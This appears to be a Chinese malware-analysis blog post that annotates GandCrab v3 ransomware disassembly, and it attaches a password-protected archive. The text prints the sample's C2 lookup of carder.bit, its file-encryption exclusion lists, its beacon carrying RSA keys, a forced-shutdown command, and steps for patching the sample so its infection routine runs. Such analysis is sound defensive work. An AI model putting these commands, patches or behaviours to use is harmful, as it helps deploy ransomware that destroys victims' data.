01AB5D54    FF15 70B1AB01   call    dword ptr [1ABB170]              ; kernel32.VirtualAlloc

01AB5D5A    8B55 F8         mov     edx, dword ptr [ebp-8]

01AB5D5D    8BD8            mov     ebx, eax

01AB5D5F    56              push    esi

01AB5D60    8BCB            mov     ecx, ebx

01AB5D62    E8 59FDFFFF     call    01AB5AC0

01AB5D67    83C4 04         add     esp, 4

01AB5D6A    68 C40BAC01     push    1AC0BC4                          ; ASCII "fabian wosar <3"

01AB5D6F    53              push    ebx

01AB5D70    FF15 ACB1AB01   call    dword ptr [1ABB1AC]              ; kernel32.lstrcmpiA

01AB5D76    85C0            test    eax, eax

01AB5D78    75 15           jnz     short 01AB5D8F

01AB5D7A    68 00800000     push    8000

01AB5D7F    50              push    eax

01AB5D80    53              push    ebx

01AB5D81    FF15 B0B1AB01   call    dword ptr [1ABB1B0]              ; kernel32.VirtualFree

01AB5D87    8B5D FC         mov     ebx, dword ptr [ebp-4]

01AB5D8A    83C9 FF         or      ecx, FFFFFFFF

01AB5D8D  ^ EB 87           jmp     short 01AB5D16

……

01AB58B4    50              push    eax

01AB58B5    8D45 A8         lea     eax, dword ptr [ebp-58]

01AB58B8    C745 A8 4400000>mov     dword ptr [ebp-58], 44

01AB58BF    50              push    eax

01AB58C0    6A 00           push    0

01AB58C2    6A 00           push    0

01AB58C4    6A 00           push    0

01AB58C6    6A 01           push    1

01AB58C8    6A 00           push    0

01AB58CA    6A 00           push    0

01AB58CC    56              push    esi                              ; nslookup carder.bit ns2.wowservers.ru

01AB58CD    6A 00           push    0

01AB58CF    FF15 BCB0AB01   call    dword ptr [1ABB0BC]              ; kernel32.CreateProcessW

修改代码让样本能执行感染文件部分

01A25C4A    53              push    ebx

01A25C4B    FF75 08         push    dword ptr [ebp+8]

01A25C4E    56              push    esi

01A25C4F    FF15 50B2A201   call    dword ptr [1A2B250]              ; user32.wsprintfW

01A25C55    83C4 0C         add     esp, 0C

01A25C58    8BCE            mov     ecx, esi

01A25C5A    E8 11FCFFFF     call    01A25870

01A25C5F    8BD3            mov     edx, ebx

01A25C61    8BCF            mov     ecx, edi

01A25C63    E8 A8FDFFFF     call    01A25A10                         ;这个call会阻塞,nop掉

……

01A255FF    E8 1CFEFFFF     call    01A25420

01A25604    85C0            test    eax, eax

01A25606    74 08           je      short 01A25610

01A25608    6A 00           push    0

01A2560A    FF15 CCB1A201   call    dword ptr [1A2B1CC]              ; kernel32.ExitProcess

01A25610    837D CC 00      cmp     dword ptr [ebp-34], 0

01A25614    75 4E           jnz     short 01A25664                   ;断在这里修改zf标志位使跳转改变

01A25616    C745 E4 0100000>mov     dword ptr [ebp-1C], 1

01A2561D    8D45 F4         lea     eax, dword ptr [ebp-C]

01A25620    50              push    eax

01A25621    8B4D D8         mov     ecx, dword ptr [ebp-28]

01A25624    51              push    ecx

01A25625    8B55 D4         mov     edx, dword ptr [ebp-2C]

01A25628    52              push    edx

01A25629    8B55 D0         mov     edx, dword ptr [ebp-30]

01A2562C    8B4D E8         mov     ecx, dword ptr [ebp-18]

遍历磁盘,获取磁盘类型,如果是本地磁盘,网络磁盘,RAM磁盘则感染文件

01A2486D    8D49 00         lea     ecx, dword ptr [ecx]

01A24870    8D4424 38       lea     eax, dword ptr [esp+38]

01A24874    66:897C24 38    mov     word ptr [esp+38], di

01A24879    50              push    eax

01A2487A    FF15 2CB1A201   call    dword ptr [1A2B12C]              ; ds:[01A2B12C]=7C80B360 (kernel32.GetDriveTypeW)

01A24880    83F8 02         cmp     eax, 2

01A24883    72 42           jb      short 01A248C7

01A24885    83F8 05         cmp     eax, 5

01A24888    74 3D           je      short 01A248C7

01A2488A    8B4424 10       mov     eax, dword ptr [esp+10]

01A2488E    6A 00           push    0

01A24890    6A 00           push    0

01A24892    8946 FC         mov     dword ptr [esi-4], eax

01A24895    8D46 F8         lea     eax, dword ptr [esi-8]

01A24898    50              push    eax

01A24899    68 907BA201     push    1A27B90

01A2489E    6A 00           push    0

01A248A0    6A 00           push    0

01A248A2    66:8938         mov     word ptr [eax], di

01A248A5    C706 00000000   mov     dword ptr [esi], 0

01A248AB    C746 08 0000000>mov     dword ptr [esi+8], 0

01A248B2    C746 0C 0000000>mov     dword ptr [esi+C], 0

01A248B9    FF15 B8B1A201   call    dword ptr [1A2B1B8]              ; kernel32.CreateThread

递归遍历硬盘上所有文件

01A27910    55              push    ebp

01A27911    8BEC            mov     ebp, esp

01A27913    81EC 840A0000   sub     esp, 0A84

01A27919    837D 14 00      cmp     dword ptr [ebp+14], 0

01A2791D    53              push    ebx

01A2791E    56              push    esi

01A2791F    57              push    edi

01A27920    8955 F8         mov     dword ptr [ebp-8], edx

01A27923    8BF1            mov     esi, ecx

01A27925    C745 FC 0000000>mov     dword ptr [ebp-4], 0

01A2792C    75 1D           jnz     short 01A2794B

……

01A2794B    C745 14 0100000>mov     dword ptr [ebp+14], 1

01A27952    6A 00           push    0

01A27954    6A 00           push    0

01A27956    8D85 80F5FFFF   lea     eax, dword ptr [ebp-A80]

01A2795C    50              push    eax

01A2795D    6A 00           push    0

01A2795F    FF15 E0B1A201   call    dword ptr [1A2B1E0]              ; shell32.SHGetSpecialFolderPathW

01A27965    8B1D 30B1A201   mov     ebx, dword ptr [1A2B130]         ; kernel32.lstrcatW

01A2796B    85C0            test    eax, eax

01A2796D    74 23           je      short 01A27992

01A2796F    68 6010A301     push    1A31060

01A27974    8D85 80F5FFFF   lea     eax, dword ptr [ebp-A80]

01A2797A    50              push    eax

01A2797B    FFD3            call    ebx

01A2797D    8D85 80F5FFFF   lea     eax, dword ptr [ebp-A80]

01A27983    50              push    eax

01A27984    56              push    esi

01A27985    FF15 38B1A201   call    dword ptr [1A2B138]              ; kernel32.lstrcmpiW

01A2798B    F7D8            neg     eax

01A2798D    1BC0            sbb     eax, eax

01A2798F    40              inc     eax

01A27990    75 17           jnz     short 01A279A9

01A27992    BA 19000000     mov     edx, 19

01A27997    8BCE            mov     ecx, esi

01A27999    E8 F2FEFFFF     call    01A27890

01A2799E    85C0            test    eax, eax

01A279A0    75 07           jnz     short 01A279A9

01A279A2    8BCE            mov     ecx, esi

01A279A4    E8 37FEFFFF     call    01A277E0

01A279A9    56              push    esi

01A279AA    FF15 40B1A201   call    dword ptr [1A2B140]              ; kernel32.lstrlenW

01A279B0    68 2810A301     push    1A31028

01A279B5    56              push    esi

01A279B6    8D3C46          lea     edi, dword ptr [esi+eax*2]

01A279B9    897D E4         mov     dword ptr [ebp-1C], edi

01A279BC    FFD3            call    ebx

01A279BE    8D85 80FDFFFF   lea     eax, dword ptr [ebp-280]

01A279C4    50              push    eax

01A279C5    56              push    esi

01A279C6    FF15 E4B0A201   call    dword ptr [1A2B0E4]              ; kernel32.FindFirstFileW

01A279CC    33C9            xor     ecx, ecx

01A279CE    8945 F0         mov     dword ptr [ebp-10], eax

创建文件CRAB-DECRYPT.txt,并写入文本,详见CRAB-DECRYPT.txt

01A277FD    56              push    esi

01A277FE    8BF8            mov     edi, eax

01A27800    68 3810A301     push    1A31038                          ; UNICODE "%s\CRAB-DECRYPT.txt"

01A27805    57              push    edi

01A27806    FF15 50B2A201   call    dword ptr [1A2B250]              ; user32.wsprintfW

01A2780C    83C4 0C         add     esp, 0C

01A2780F    6A 00           push    0

01A27811    68 80000000     push    80

01A27816    6A 01           push    1

01A27818    6A 00           push    0

01A2781A    6A 00           push    0

01A2781C    68 00000040     push    40000000

01A27821    57              push    edi

01A27822    FF15 48B1A201   call    dword ptr [1A2B148]              ; kernel32.CreateFileW

01A27828    8BF0            mov     esi, eax

……

01A2785A    FF35 103DA301   push    dword ptr [1A33D10]

01A27860    56              push    esi

01A27861    FF15 50B1A201   call    dword ptr [1A2B150]              ; kernel32.WriteFile

不加密以下后缀的文件

.ani .cab .cpl .cur .diagcab .diagpkg .dll .drv .hlp .ldf .icl.icns .ico .ics .lnk .key .idx .mod .mpa .msc .msp .msstyles .msu .nomedia .ocx .prf .rom .rtp .scr .shs .spl .sys .theme .them .epack .exe .bat .cmd .CRAB .crab .GDCB .gdcb .gandcrab .yassine_lemmou

01A27753    56               push    esi

01A27754    8BD8             mov     ebx, eax

01A27756    68 2010A301      push    1A31020                          ; UNICODE "%s "

01A2775B    53               push    ebx

01A2775C    FF15 50B2A201    call    dword ptr [1A2B250]              ; user32.wsprintfW

01A27762    8B3D 0C3DA301    mov     edi, dword ptr [1A33D0C]

01A27768    33D2             xor     edx, edx

01A2776A    83C4 0C          add     esp, 0C

01A2776D    8955 FC          mov     dword ptr [ebp-4], edx

01A27770    66:3913          cmp     word ptr [ebx], dx

01A27773    74 45            je      short 01A277BA

01A27775    0FB70F           movzx   ecx, word ptr [edi]

01A27778    66:85C9          test    cx, cx

01A2777B    74 4A            je      short 01A277C7

01A2777D    8BF7             mov     esi, edi

01A2777F    2BF3             sub     esi, ebx

01A27781    8BC3             mov     eax, ebx

01A27783    66:85C9          test    cx, cx

01A27786    74 19            je      short 01A277A1

01A27788    0FB708           movzx   ecx, word ptr [eax]

01A2778B    66:85C9          test    cx, cx

01A2778E    74 28            je      short 01A277B8

01A27790    0FB71406         movzx   edx, word ptr [esi+eax]

01A27794    2BD1             sub     edx, ecx

01A27796    75 09            jnz     short 01A277A1

01A27798    83C0 02          add     eax, 2

01A2779B    66:391406        cmp     word ptr [esi+eax], dx

01A2779F  ^ 75 E7            jnz     short 01A27788

01A277A1    66:8338 00       cmp     word ptr [eax], 0

01A277A5    74 11            je      short 01A277B8

01A277A7    0FB74F 02        movzx   ecx, word ptr [edi+2]

01A277AB    83C7 02          add     edi, 2

01A277AE    83C6 02          add     esi, 2

01A277B1    66:85C9          test    cx, cx

不加密路径中是否存在"\ProgramData\", "\IETldCache\", "\Boot\", "\Program Files\","\Tor Browser\",” "Ransomware"” "\All Users\", "\Local Settings\","\Windows\".其它系统特殊文件夹(SHGetSpecialFolderPathW获取)的文件

01A2730D   /74 5A           je      short 01A27369

01A2730F   |8BF3            mov     esi, ebx

01A27311   |81EE 380EA301   sub     esi, 1A30E38                     ; UNICODE "\ProgramData\"

01A27317   |EB 07           jmp     short 01A27320

01A27319   |8DA424 00000000 lea     esp, dword ptr [esp]

01A27320   |BA 380EA301     mov     edx, 1A30E38                     ; UNICODE "\ProgramData\"

01A27325   |66:85C0         test    ax, ax

……

01A27372    0FB7C8          movzx   ecx, ax

01A27375    81EE 540EA301   sub     esi, 1A30E54                     ; UNICODE "\IETldCache\"

01A2737B    EB 03           jmp     short 01A27380

01A2737D    8D49 00         lea     ecx, dword ptr [ecx]

01A27380    B8 540EA301     mov     eax, 1A30E54                     ; UNICODE "\IETldCache\"

01A27385    66:85C9         test    cx, cx

……

01A273B3    83C7 02         add     edi, 2

01A273B6    83C6 02         add     esi, 2

01A273B9    66:85C9         test    cx, cx

01A273BC  ^ 75 C2           jnz     short 01A27380

01A273BE    BA 700EA301     mov     edx, 1A30E70                     ; UNICODE "\Boot\"

01A273C3    8BCB            mov     ecx, ebx

01A273C5    E8 F61D0000     call    01A291C0

01A273CA    85C0            test    eax, eax

01A273CC    75 19           jnz     short 01A273E7

01A273CE    BA 800EA301     mov     edx, 1A30E80                     ; UNICODE "\Program Files\"

01A273D3    8BCB            mov     ecx, ebx

01A273D5    E8 E61D0000     call    01A291C0

……

01A27402    C3              retn

01A27403    BA A00EA301     mov     edx, 1A30EA0                     ; UNICODE "\Tor Browser\"

01A27408    8BCB            mov     ecx, ebx

01A2740A    E8 B11D0000     call    01A291C0

01A2740F    85C0            test    eax, eax

01A27411  ^ 75 D4           jnz     short 01A273E7

01A27413    BA BC0EA301     mov     edx, 1A30EBC                     ; UNICODE "Ransomware"

01A27418    8BCB            mov     ecx, ebx

01A2741A    E8 A11D0000     call    01A291C0

01A2741F    85C0            test    eax, eax

01A27421  ^ 75 C4           jnz     short 01A273E7

01A27423    BA D40EA301     mov     edx, 1A30ED4                     ; UNICODE "\All Users\"

01A27428    8BCB            mov     ecx, ebx

01A2742A    E8 911D0000     call    01A291C0

01A2742F    85C0            test    eax, eax

01A27431  ^ 75 B4           jnz     short 01A273E7

01A27433    BA EC0EA301     mov     edx, 1A30EEC                     ; UNICODE "\Local Settings\"

01A27438    8BCB            mov     ecx, ebx

01A2743A    E8 811D0000     call    01A291C0

01A2743F    85C0            test    eax, eax

01A27441  ^ 75 A4           jnz     short 01A273E7

01A27443    BA 100FA301     mov     edx, 1A30F10                     ; UNICODE "\Windows\"

01A27448    8BCB            mov     ecx, ebx

01A2744A    E8 711D0000     call    01A291C0

01A2744F    8B7D FC         mov     edi, dword ptr [ebp-4]

01A27452    85C0            test    eax, eax

01A27454  ^ 75 94           jnz     short 01A273EA

01A27456    8B35 E0B1A201   mov     esi, dword ptr [1A2B1E0]         ; shell32.SHGetSpecialFolderPathW

不加密指定文件"desktop.ini","autorun.inf","ntuser.dat","iconcache.db","bootsect.bak","boot.ini", "ntuser.dat.log", "thumbs.db", "CRAB-DECRYPT.txt",”*.sql”

01A27A3D    BA 6410A301     mov     edx, 1A31064                     ; UNICODE "SQL"

01A27A42    8BCE            mov     ecx, esi

01A27A44    E8 77170000     call    01A291C0

……

01A2753E    8B3D 38B1A201   mov     edi, dword ptr [1A2B138]         ; kernel32.lstrcmpiW

01A27544    83C6 02         add     esi, 2

01A27547    68 240FA301     push    1A30F24                          ; UNICODE "desktop.ini"

01A2754C    56              push    esi

01A2754D    FFD7            call    edi

01A2754F    85C0            test    eax, eax

01A27551    75 09           jnz     short 01A2755C

01A27553    5F              pop     edi

01A27554    5E              pop     esi

01A27555    B8 01000000     mov     eax, 1

01A2755A    5B              pop     ebx

01A2755B    C3              retn

01A2755C    68 3C0FA301     push    1A30F3C                          ; UNICODE "autorun.inf"

01A27561    56              push    esi

01A27562    FFD7            call    edi

01A27564    85C0            test    eax, eax

01A27566  ^ 74 EB           je      short 01A27553

01A27568    68 540FA301     push    1A30F54                          ; UNICODE "ntuser.dat"

01A2756D    56              push    esi

01A2756E    FFD7            call    edi

01A27570    85C0            test    eax, eax

01A27572  ^ 74 DF           je      short 01A27553

01A27574    68 6C0FA301     push    1A30F6C                          ; UNICODE "iconcache.db"

01A27579    56              push    esi

01A2757A    FFD7            call    edi

01A2757C    85C0            test    eax, eax

01A2757E  ^ 74 D3           je      short 01A27553

01A27580    68 880FA301     push    1A30F88                          ; UNICODE "bootsect.bak"

01A27585    56              push    esi

01A27586    FFD7            call    edi

01A27588    85C0            test    eax, eax

01A2758A  ^ 74 C7           je      short 01A27553

01A2758C    68 A40FA301     push    1A30FA4                          ; UNICODE "boot.ini"

01A27591    56              push    esi

01A27592    FFD7            call    edi

01A27594    85C0            test    eax, eax

01A27596  ^ 74 BB           je      short 01A27553

01A27598    68 B80FA301     push    1A30FB8                          ; UNICODE "ntuser.dat.log"

01A2759D    56              push    esi

01A2759E    FFD7            call    edi

01A275A0    85C0            test    eax, eax

01A275A2  ^ 74 AF           je      short 01A27553

01A275A4    68 D80FA301     push    1A30FD8                          ; UNICODE "thumbs.db"

01A275A9    56              push    esi

01A275AA    FFD7            call    edi

01A275AC    85C0            test    eax, eax

01A275AE  ^ 74 A3           je      short 01A27553

01A275B0    68 EC0FA301     push    1A30FEC                          ; UNICODE "CRAB-DECRYPT.txt"

01A275B5    56              push    esi

01A275B6    FFD7            call    edi

修改文件名,在原始文件名后面加上.CRAB

01A27605    FF15 70B1A201   call    dword ptr [1A2B170]              ; kernel32.VirtualAlloc

01A2760B    8BF0            mov     esi, eax

01A2760D    85F6            test    esi, esi

01A2760F    0F84 BD000000   je      01A276D2

01A27615    57              push    edi

01A27616    68 1010A301     push    1A31010                          ; UNICODE "%s.CRAB"

01A2761B    56              push    esi

01A2761C    FF15 50B2A201   call    dword ptr [1A2B250]              ; user32.wsprintfW

01A27622    83C4 0C         add     esp, 0C

01A27625    57              push    edi

01A27626    FF15 E8B0A201   call    dword ptr [1A2B0E8]              ; kernel32.GetFileAttributesW

01A2762C    83E0 FE         and     eax, FFFFFFFE

01A2762F    50              push    eax

01A27630    57              push    edi

01A27631    FF15 FCB0A201   call    dword ptr [1A2B0FC]              ; kernel32.SetFileAttributesW

01A27637    68 F43CA301     push    1A33CF4

01A2763C    FF15 C8B1A201   call    dword ptr [1A2B1C8]              ; ntdll.RtlEnterCriticalSection

01A27642    56              push    esi

01A27643    57              push    edi

01A27644    FF15 F0B0A201   call    dword ptr [1A2B0F0]              ; kernel32.MoveFileW

对文件进行加密

01A24366    6A 01           push    1

01A24368    83D0 00         adc     eax, 0

01A2436B    6A 00           push    0

01A2436D    F7D8            neg     eax

01A2436F    50              push    eax

01A24370    51              push    ecx

01A24371    FF75 FC         push    dword ptr [ebp-4]

01A24374    FF15 8CB1A201   call    dword ptr [1A2B18C]              ; kernel32.SetFilePointerEx

01A2437A    85C0            test    eax, eax

01A2437C    75 06           jnz     short 01A24384

01A2437E    FF15 88B1A201   call    dword ptr [1A2B188]              ; ntdll.RtlGetLastWin32Error

01A24384    6A 00           push    0

01A24386    8D45 E4         lea     eax, dword ptr [ebp-1C]

01A24389    50              push    eax

01A2438A    FF75 F4         push    dword ptr [ebp-C]                0x30

01A2438D    FF75 E0         push    dword ptr [ebp-20]

01A24390    FF75 FC         push    dword ptr [ebp-4]

01A24393    FF15 50B1A201   call    dword ptr [1A2B150]              ; 写文件,第一次

01A24399    85C0            test    eax, eax

01A2439B    75 08           jnz     short 01A243A5

……

01A243D9    FF75 F0         push    dword ptr [ebp-10]

01A243DC    56              push    esi

01A243DD    FF15 50B1A201   call    dword ptr [1A2B150]              ; 写文件,第2次

01A243E3    6A 00           push    0

01A243E5    8D45 E4         lea     eax, dword ptr [ebp-1C]

01A243E8    50              push    eax

01A243E9    68 00010000     push    100                           0x100

01A243EE    FF75 F8         push    dword ptr [ebp-8]

01A243F1    56              push    esi

01A243F2    FF15 50B1A201   call    dword ptr [1A2B150]              ; 写文件,第3次

01A243F8    6A 00           push    0

01A243FA    8D45 E4         lea     eax, dword ptr [ebp-1C]

01A243FD    50              push    eax

01A243FE    6A 08           push    8                              0x8

01A24400    53              push    ebx

01A24401    56              push    esi

01A24402    FF15 50B1A201   call    dword ptr [1A2B150]              ; 写文件,第4次

各种信息组合后发送(服务器挂了)

01A29065    57              push    edi

01A29066    C745 D4 7300740>mov     dword ptr [ebp-2C], 740073

01A2906D    C745 D8 3A00200>mov     dword ptr [ebp-28], 20003A

01A29074    C745 DC 6300610>mov     dword ptr [ebp-24], 610063

01A2907B    C745 E0 7200640>mov     dword ptr [ebp-20], 640072

01A29082    C745 E4 6500720>mov     dword ptr [ebp-1C], 720065

01A29089    C745 E8 2E00620>mov     dword ptr [ebp-18], 62002E

01A29090    C745 EC 6900740>mov     dword ptr [ebp-14], 740069

01A29097    FF15 60B2A201   call    dword ptr [1A2B260]              ; wininet.HttpAddRequestHeadersW

01A2909D    85C0            test    eax, eax

01A2909F    74 68           je      short 01A29109

01A290A1    FF75 14         push    dword ptr [ebp+14]

01A290A4    FF75 10         push    dword ptr [ebp+10]

01A290A7    FF75 30         push    dword ptr [ebp+30]

01A290AA    FF75 2C         push    dword ptr [ebp+2C]

01A290AD    57              push    edi

01A290AE    FF15 64B2A201   call    dword ptr [1A2B264]              ; wininet.HttpSendRequestW

action=call&ip=220.203.63.51&pc_user=SYSTEM&pc_name=JHON-D12B6AC

420&pc_group=WORKGROUP&pc_keyb=0&os_major=Microsoft Windows XP&o

s_bit=x86&ransom_id=6aa1d5d1fc51543e&hdd=C:FIXED_42935926784/244

3919360&id=39&subid=252&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDDpqgF

M3VtHyRJ/FUes7Svo00o2v3Tz7d+APzGU8Qcj+xNLmtWc1wsOVcXuGq4SbPFOYY0

YiruTEWNfItKhmtvhZYRh3M+l9IEGo88E62nECKg5Ux1e6E5+5z5vOfd4yUIIoH9

XwdJ189JdDD4Vahk8enJm4IUla+szrRkZSm5W2R8bXrWjXPCAvpI0c4pPCIuYe83

cyF4Zllre0aGbZNKDnttoiWcLqQ8F2bnjtI1ydjxeaVjMeN59uj8dcNxMASV4u1e

rVbeHEnMEU51rtLiOnm1HkHML/OZ3f0Rwd3HAbPMpm0SjSAGv//CHC0l9pOKLArG

qdAd0F+GYlCg/EHE&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQDDpqgFM3VtHy

RJ/FUes7Svo00o2v3Tz7d+APzGU8Qcj+xNLmtWc1wsOVcXuGq4SbPFOYY0YiruTE

WNfItKhmtvhZYRh3M+l9IEGo88E62nECKg5Ux1e6E5+5z5vOfd4yUIIoH9XwdJ18

9JdDD4Vahk8enJm4IUla+szrRkZSm5W2R8bXrWjXPCAvpI0c4pPCIuYe83cyF4Zl

lre0aGbZNKDnttoiWcLqQ8F2bnjtI1ydjxeaVjMeN59uj8dcNxMASV4u1erVbeHE

nMEU51rtLiOnm1HkHML/OZ3f0Rwd3HAbPMpm0SjSAGv//CHC0l9pOKLArGqdAd0F

+GYlCg/EHE2QeMbry3AVLTWenhei4q3Ke72xI5ogZLOXanetXGRb1AxDP+osKyiF

e9NLxF2WxB9yt869abQoEvm97sQYFyURzRw7US80AHLK13DbwnYwqfw8n+lZO0IH

sgKpz8ggtBEEo4N0Gj+MsxUxpOD72hLteLkGyCYnwNujG7sYjj4eP7fciJd+oExf

evt2KlZnzrLNZ5S7CwYv3V22mJyO5aoPE0Xo8aUYsD8FSpbJRS6o/J3VpEgfc3tR

rZKKTwn/H/7Kv0f8dM2gN2NMqCTGUAQAWS65hoaWUWlXykWEWicdcWr56BIkd5YV

TZvbwRXp9p/zjBCSN7zCnZKr5XLCx53LldC3AwEuA7G1qzAwFFm57ky7FlcyqGT7

U/oUTeLI7a+PH6GqYpkTMeZPX2VtfMW6OIPMAhvC9YoWerzkTxKkzo4A5H082lt/

WU8BJ6cO7yvt50hIMA7bQPTMxQr+uCVitSJPYx/OCy4T8fGGaqW1tk8dsf6Y9EXT

7BM2qqQOVt+YRBrSjiQy/dBD4WogmP25xhjNFRXcucvzuC8YKmY7NRGiohDIhHQg

Gqwt60Szbli6fN0+NLdronb5e5M6AmEYk6mBIoygufiFoZG/DByZTdAYrMQcxYzm

8lac1WaQLUOM7VOPuFt/orj2BKIg27b4bbcR3sBZAWhQ3StdzQwLx7qXo8TZPPzw

57igx0luic1F8gnn8QYWD9p6G0mlwiL4pqN5Gmp3yiEnjQWmBvyyG2ypbxs4tpiw

wtOrUN6nJXk3xpUaS1v4GW1FXQDEulwEVb6EoRK+VcxdunC+bF1KT96xPlxM/UnY

/zxfnXzIEWoSnDcfQamX4kPhfav19rR6GsAq7J2uOCIabEydyWdNBYPjS2XwDMrs

/XaTPi4Ey30tZh47Gmz0AHr4cNuP2sCCKZZPDzkx1RSdLc0p/Y+X/MCf+sGRNpZ7

qqPiKCualdKw6xA0Qk+Bn9tzLvRBisMI6eTOV8tX+n6fyI51hsHdRYotGFkBWqJH

pM8TGoxBbTdxJRyMkbU5AKNRzVU6srgFYgy/VlV2PmZhTRwAQPfZx18S9ZXPfO92

XOxyV0vXef/RkGPivR96zU2wT2fYxy00oSG7Yer/XPz09dPUzl3Wesm/jQTXpy3n

SczLYn1HmDl5vulADzZfImThRaRgO6rn99/JSa7A4MOGsosPCdYRQ=&version=3

.0.0

查询公网ip地址

01A27C72    57              push    edi

01A27C73    57              push    edi

01A27C74    68 B00BA301     push    1A30BB0                          ; UNICODE "GET"

01A27C79    83EC 08         sub     esp, 8

01A27C7C    8D4D F8         lea     ecx, dword ptr [ebp-8]

01A27C7F    68 FF270000     push    27FF

01A27C84    56              push    esi

01A27C85    57              push    edi

01A27C86    57              push    edi

01A27C87    68 7C10A301     push    1A3107C

01A27C8C    68 8010A301     push    1A31080                          ; UNICODE "ipv4bot.whatismyipaddress.com"

01A27C91    E8 1A130000     call    01A28FB0

修改桌面壁纸为pidor.bmp

01A23EF5    50              push    eax

01A23EF6    68 00010000     push    100

01A23EFB    C74424 38 01000>mov     dword ptr [esp+38], 1

01A23F03    FF15 98B1A201   call    dword ptr [1A2B198]              ; kernel32.GetTempPathW

01A23F09    68 A003A301     push    1A303A0                          ; UNICODE "\pidor.bmp"

01A23F0E    FF36            push    dword ptr [esi]

01A23F10    FF15 30B1A201   call    dword ptr [1A2B130]              ; kernel32.lstrcatW

01A23F16    FF36            push    dword ptr [esi]

01A23F18    8B7424 28       mov     esi, dword ptr [esp+28]

01A23F1C    8BD7            mov     edx, edi

01A23F1E    8BCE            mov     ecx, esi

01A23F20    E8 4BF8FFFF     call    01A23770

倒计时60秒关机

01A257C1    6A 00           push    0

01A257C3    6A 00           push    0

01A257C5    68 6009A301     push    1A30960                          ; UNICODE "/c shutdown -r -t 60 -f"

01A257CA    68 9009A301     push    1A30990                          ; UNICODE "cmd.exe"

01A257CF    68 F004A301     push    1A304F0                          ; UNICODE "open"

01A257D4    6A 00           push    0

01A257D6    FF15 E4B1A201   call    dword ptr [1


附件密码:123

上传的附件 相关文件.rar

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功